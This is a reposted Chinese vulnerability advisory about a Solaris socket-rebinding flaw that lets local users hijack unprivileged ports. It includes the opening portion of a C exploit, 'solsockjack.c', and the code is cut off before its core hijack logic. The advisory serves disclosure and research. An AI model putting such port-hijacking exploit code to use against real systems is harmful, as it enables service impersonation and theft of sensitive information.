Sun Solaris非特权网络端口劫持漏洞

2008-04-09 04:16:55来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Sun Solaris非特权网络端口劫持漏洞

发布日期:2005-07-07
更新日期:2005-07-07

受影响系统:
Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
AVAYA CMS Server 9.0
AVAYA CMS Server 13.0
AVAYA CMS Server 12.0
AVAYA CMS Server 11.0
AVAYA Interactive Response 1.3
AVAYA Interactive Response 1.2.1
描述:
BUGTRAQ ID: 13241

Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。

Solaris在使用SO_REUSEADDR时存在漏洞,Kernel可能会支持任何套接字绑定操作,这样如果已经使用了特定的IP地址的话,恶意的套接字可能绑定到已经绑定的端口。

本地非特权用户可能利用这个漏洞在非特权端口上启动进程。通过劫持端口,这些进程可以用作在该端口上运行的修改过的或植入木马版本的服务,这可能导致服务破坏,泄漏敏感信息,或入侵远程系统。

<*来源:c0ntexb (c0ntexb@gmail.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112067885917420&w=2
http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-57766-1
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

*/

/* solsockjack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <arpa/inet.h>

#define BAD "!@#$%^&*()-_= []{};':\",/<>?\\|`~ \
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" #define DEFHOST \
"localhost" #define MAX_INCONN 1
#define PORT 1241 /* Nessus */
#define SYSTEM "SunOS"

#define BL "\x1B[1;34m"
#define NO "\x1B[0m"
#define PI "\x1B[35m"
#define PU "\x1B[1;35m"
#define RE "\x1B[1;31m"
#define WH "\x1B[1;37m"
#define YE "\x1B[1;33m"

void
banner(void)
{
fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack \
Exploit\n", YE, NO);
fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound \
socket\n", YE, NO);
fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service \
that\n", YE, NO);
fprintf(stderr, "%s[-] %sis already running on a port greater than 1024, \
making\n", YE, NO);
fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to \
perform.\n", YE, NO);
fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n", YE, \
WH, NO);

_exit(EXIT_SUCCESS);
}

void
usage(int argc, char **argv)
{
fprintf(stderr, "%s[-] %s Usage:\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE, \
NO); fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);

fprintf(stderr, "%s[-] %s%s -h 10.1.1.215 -p 1241\n\n", YE, NO, argv[0]);

_exit(EXIT_FAILURE);
}

void
checkerr(char *isvuln)
{
free(isvuln);
puts("Not today!");
_exit(EXIT_FAILURE);
}

void
jackerr(char *vulnerable)
{
free(vulnerable);
_exit(EXIT_FAILURE);
}

char
*checksys(char *isvuln)
{
struct utsname name;

if(uname(&name) < 0) {
puts("uname failed");
}

isvuln = malloc(6);
if(!isvuln) {
perror("malloc");
_exit(EXIT_FAILURE);
}

if((name.sysname == NULL) || (strlen(name.sysname) < 1) || \
(strlen(name.sysname) > 5)) { checkerr(isvuln);
}

memcpy(isvuln, name.sysname, strlen(name.sysname));
if(!isvuln) {
checkerr(isvuln);
}

return(isvuln);
}

int
main(int argc, char **argv)
{
int inbuf, jacksock, opts, solvuln;

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:MyGuestbook form.inc.php3远程文件包含漏洞

下一篇:Apple Mac OS X AFP文件信息泄露漏洞